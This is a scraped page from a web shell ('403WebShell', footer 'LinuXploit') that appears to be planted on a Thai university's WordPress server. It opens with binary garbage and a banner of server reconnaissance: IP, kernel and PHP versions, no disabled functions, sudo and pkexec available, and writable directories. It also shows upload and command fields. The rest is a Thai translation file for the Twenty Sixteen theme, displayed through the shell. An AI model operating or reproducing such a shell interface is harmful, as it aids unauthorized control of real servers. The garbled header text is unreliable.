h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/skruarchives/wp-content/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/skruarchives/wp-content/languages/themes/twentysixteen-th.po
# Translation of Themes - Twenty Sixteen in Thai
# This file is distributed under the same license as the Themes - Twenty Sixteen package.
msgid ""
msgstr ""
"PO-Revision-Date: 2019-05-02 17:34:50+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: GlotPress/3.0.0-alpha.2\n"
"Language: th\n"
"Project-Id-Version: Themes - Twenty Sixteen\n"

#. Theme Name of the theme
#: inc/block-patterns.php:16 inc/block-patterns.php:56
msgid "Twenty Sixteen"
msgstr "Twenty Sixteen"

#. Description of the theme
msgid "Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthead with an optional right sidebar that works perfectly for blogs and websites. It has custom color options with beautiful default color schemes, a harmonious fluid grid using a mobile-first approach, and impeccable polish in every detail. Twenty Sixteen will make your WordPress look beautiful everywhere."
msgstr "Twenty Sixteen นั้นทันสมัยและใช้รูปแบบที่ได้รับความนิยมที่สุด — เส้นแบ่งแนวนอนพร้อมด้วยตัวเลือกด้านข้างทางขวา ที่ทำงานเข้ากับดีกับบล็อกหรือเว็บไซต์  มันยังมีตัวเลือกที่ปรับแต่งสีที่นำเอาเฉดสีสวย  ๆ มาเป็นค่าเริ่มต้นให้ใช้งาน   ตารางที่กลมกลืนไหลลื่นที่ถูกสร้างให้เหมาะสมกับการใช้งานบนอุปกรณ์มือถือก่อน   และยังกลั่นกรองในทุก ๆ รายละเอียด Twenty Sixteen จะทำให้เวิร์ดเพรสของคุณดูสวยงามทุกที่กับทุกอุปกรณ์"

#. translators: %s: Post title.
#: template-parts/content.php:53 template-parts/content-page.php:39
#: template-parts/content-search.php:28 template-parts/content-search.php:43
#: template-parts/content-single.php:47 image.php:88
msgid "Edit<span class=\"screen-reader-text\"> \"%s\"</span>"
msgstr "แก้ไข<span class=\"screen-reader-text\"> \"%s\"</span>"

#. translators: %s: Post title.
#: template-parts/content.php:29 inc/template-tags.php:195
msgid "Continue reading<span class=\"screen-reader-text\"> \"%s\"</span>"
msgstr "อ่านเพิ่มเติม<span class=\"screen-reader-text\"> \"%s\"</span>"

#: inc/customizer.php:347
msgid "Red"
msgstr "สีแดง"

#. translators: %s: Post title.
#: comments.php:31
msgctxt "comments title"
msgid "One thought on &ldquo;%s&rdquo;"
msgstr "หนึ่งความเห็นบน &ldquo;%s&rdquo;"

#: searchform.php:16
msgctxt "submit button"
msgid "Search"
msgstr "ค้นหา"

#: searchform.php:14
msgctxt "placeholder"
msgid "Search &hellip;"
msgstr "ค้นหา &hellip;"

#: searchform.php:13
msgctxt "label"
msgid "Search for:"
msgstr "ค้นหา:"

#: footer.php:17
msgid "Footer Primary Menu"
msgstr "ส่วนล่างเมนูหลัก"

#: footer.php:30
msgid "Footer Social Links Menu"
msgstr "ส่วนล่างเมนูลิงก์โซเชียล"

#: functions.php:273
msgid "Add widgets here to appear in your sidebar."
msgstr "เพื่อวิดเจ็ตที่นี่เพื่อให้แสดงในด้านข้างของคุณ"

#: template-parts/content.php:14
msgid "Featured"
msgstr "ลักษณะพิเศษ"

#: template-parts/content-none.php:33
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr "ดูเหมือนว่าเราไม่สามารถค้นหาสิ่งที่คุณกำลังมองหาอยู่  บางทีการค้นหาอาจช่วยคุณได้"

#: template-parts/content-none.php:28
msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords."
msgstr "ขอโทษครับ  แต่ไม่มีสิ่งใดตรงกับเงื่อนไขการค้นหาของคุณ  กรุณาลองใหม่อีกครั้งด้วยคำที่ต่างออกไป"

#. translators: %s: Post editor URL.
#: template-parts/content-none.php:22
msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>."
msgstr "พร้อมที่จะเผยแพร่เรื่องแรกของคุณหรือไม่? <a href=\"%1$s\">เริ่มต้นได้ที่นี่</a>"

#: template-parts/content-none.php:13
msgid "Nothing Found"
msgstr "ไม่พบสิ่งใด"

#. translators: %s: The post author display name.
#: template-parts/biography.php:35
msgid "View all posts by %s"
msgstr "ดูเรื่องทั้งหมดโดย %s"

#: template-parts/biography.php:28
msgid "Author:"
msgstr "ผู้เขียน:"

#: single.php:42
msgid "Previous post:"
msgstr "เรื่องก่อนหน้า:"

#: single.php:39
msgid "Next post:"
msgstr "เรื่องต่อไป:"

#: single.php:41
msgid "Previous"
msgstr "ก่อนหน้า"

#: single.php:38
msgid "Next"
msgstr "ถัดไป"

#. translators: %s: The search query.
#: search.php:21
msgid "Search Results for: %s"
msgstr "ผลลัพท์การค้นหาสำหรับ: %s"

#: inc/template-tags.php:113
msgctxt "Used before tag names."
msgid "Tags"
msgstr "ป้ายกำกับ"

#: inc/template-tags.php:104
msgctxt "Used before category names."
msgid "Categories"
msgstr "หมวดหมู่"

#: inc/template-tags.php:100 inc/template-tags.php:109
msgctxt "Used between list items, there is a space after the comma."
msgid ", "
msgstr ", "

#: inc/template-tags.php:84
msgctxt "Used before publish date."
msgid "Posted on"
msgstr "เขียนเมื่อ"

#: inc/template-tags.php:40
msgctxt "Used before post format."
msgid "Format"
msgstr "รูปแบบเรื่อง"

#. translators: %s: Post title.
#: inc/template-tags.php:53
msgid "Leave a comment<span class=\"screen-reader-text\"> on %s</span>"
msgstr "เขียนความเห็น<span class=\"screen-reader-text\"> บน %s</span>"

#: inc/template-tags.php:26
msgctxt "Used before post author name."
msgid "Author"
msgstr "ผู้เขียน"

#: functions.php:210 inc/customizer.php:357
msgid "Yellow"
msgstr "สีเหลือง"

#: inc/customizer.php:337
msgid "Gray"
msgstr "สีเทา"

#: inc/customizer.php:327
msgid "Dark"
msgstr "มืด"

#: inc/customizer.php:317
msgid "Default"
msgstr "ค่าเริ่มต้น"

#: inc/customizer.php:242
msgid "Secondary Text Color"
msgstr "สีตัวอักษรรอง"

#: inc/customizer.php:221
msgid "Main Text Color"
msgstr "สีตัวอักษรหลัก"

#: inc/customizer.php:200
msgid "Link Color"
msgstr "ลิงก์สี"

#: inc/customizer.php:176
msgid "Page Background Color"
msgstr "สีเบื้องหลังหน้า"

#: single.php:31 image.php:107
msgctxt "Parent post link"
msgid "<span class=\"meta-nav\">Published in</span><span class=\"post-title\">%title</span>"
msgstr "<span class=\"meta-nav\">เผยแพร่แล้วใน</span><span class=\"post-title\">%title</span>"

#: inc/customizer.php:153
msgid "Base Color Scheme"
msgstr "สีหลัก"

#. translators: %s: The current WordPress version.
#: inc/back-compat.php:42 inc/back-compat.php:56 inc/back-compat.php:75
msgid "Twenty Sixteen requires at least WordPress version 4.4. You are running version %s. Please upgrade and try again."
msgstr "Twenty Sixteen ต้องใช้กับเวิร์ดเพรสรุ่น 4.4 ขึ้นไป  คุณกำลังใช้งานรุ่น %s โปรดอัปเกรดและลองใหม่อีกครั้ง"

#: image.php:77
msgctxt "Used before full size attachment link."
msgid "Full size"
msgstr "ขนาดใหญ่สุด"

#: template-parts/content.php:36 template-parts/content-page.php:24
#: template-parts/content-single.php:26 image.php:58
msgid "Pages:"
msgstr "หน้า:"

#: image.php:26
msgid "Next Image"
msgstr "รูปต่อไป"

#: image.php:25
msgid "Previous Image"
msgstr "รูปก่อนหน้า"

#: header.php:50
msgid "Menu"
msgstr "เมนู"

#: header.php:28
msgid "Skip to content"
msgstr "ข้ามไปยังบทความ"

#: functions.php:423
msgid "expand child menu"
msgstr "ขยายเมนูย่อย"

#: functions.php:424
msgid "collapse child menu"
msgstr "หดเมนูย่อย"

#: functions.php:342
msgctxt "Inconsolata font: on or off"
msgid "on"
msgstr "เปิด"

#: functions.php:283
msgid "Content Bottom 1"
msgstr "ปุ่มบทความ 1"

#: functions.php:334
msgctxt "Montserrat font: on or off"
msgid "on"
msgstr "เปิด"

#: functions.php:326
msgctxt "Merriweather font: on or off"
msgid "on"
msgstr "เปิด"

#: functions.php:295
msgid "Content Bottom 2"
msgstr "ปุ่มบทความ 2"

#: functions.php:285 functions.php:297
msgid "Appears at the bottom of the content on posts and pages."
msgstr "ปรากฎที่ด้านล่างของบทความบนเรื่องและหน้า"

#: functions.php:271
msgid "Sidebar"
msgstr "ด้านข้าง"

#: functions.php:93 header.php:67
msgid "Social Links Menu"
msgstr "เมนูลิงก์โซเชียล"

#: functions.php:92 header.php:54
msgid "Primary Menu"
msgstr "เมนูหลัก"

#. translators: %s: WordPress
#: footer.php:63
msgid "Proudly powered by %s"
msgstr "ภูมิใจนำเสนอโดย %s"

#: comments.php:71
msgid "Comments are closed."
msgstr "การแสดงความเห็นถูกปิด"

#. translators: 1: Number of comments, 2: Post title.
#: comments.php:35
msgctxt "comments title"
msgid "%1$s thought on &ldquo;%2$s&rdquo;"
msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
msgstr[0] "%1$s ความคิดเห็นเกี่ยวกับ &ldquo;%2$s&rdquo;"

#: archive.php:54 template-parts/content.php:40
#: template-parts/content-page.php:28 template-parts/content-single.php:30
#: search.php:46 index.php:51 image.php:62
msgid "Page"
msgstr "หน้า"

#: archive.php:53 search.php:45 index.php:50
msgid "Next page"
msgstr "หน้าต่อไป"

#: archive.php:52 search.php:44 index.php:49
msgid "Previous page"
msgstr "หน้าก่อนหน้า"

#: 404.php:21
msgid "It looks like nothing was found at this location. Maybe try a search?"
msgstr "ดูเหมือนว่าไม่พบสิ่งใดบนที่อยู่นั้น  บางทีคุณอยากลองใช้การค้นหา?"

#: 404.php:17
msgid "Oops! That page can&rsquo;t be found."
msgstr "ขอโทษครับ  ไม่พบหน้านั้น"

#. Author of the theme
msgid "the WordPress team"
msgstr "ทีมเวิร์ดเพรส"

#. Theme URI of the theme
msgid "https://wordpress.org/themes/twentysixteen/"
msgstr "https://wordpress.org/themes/twentysixteen/"

#. Author URI of the theme
#: footer.php:60
msgid "https://wordpress.org/"
msgstr "https://wordpress.org/"

Youez - 2016 - github.com/yon3zu
LinuXploit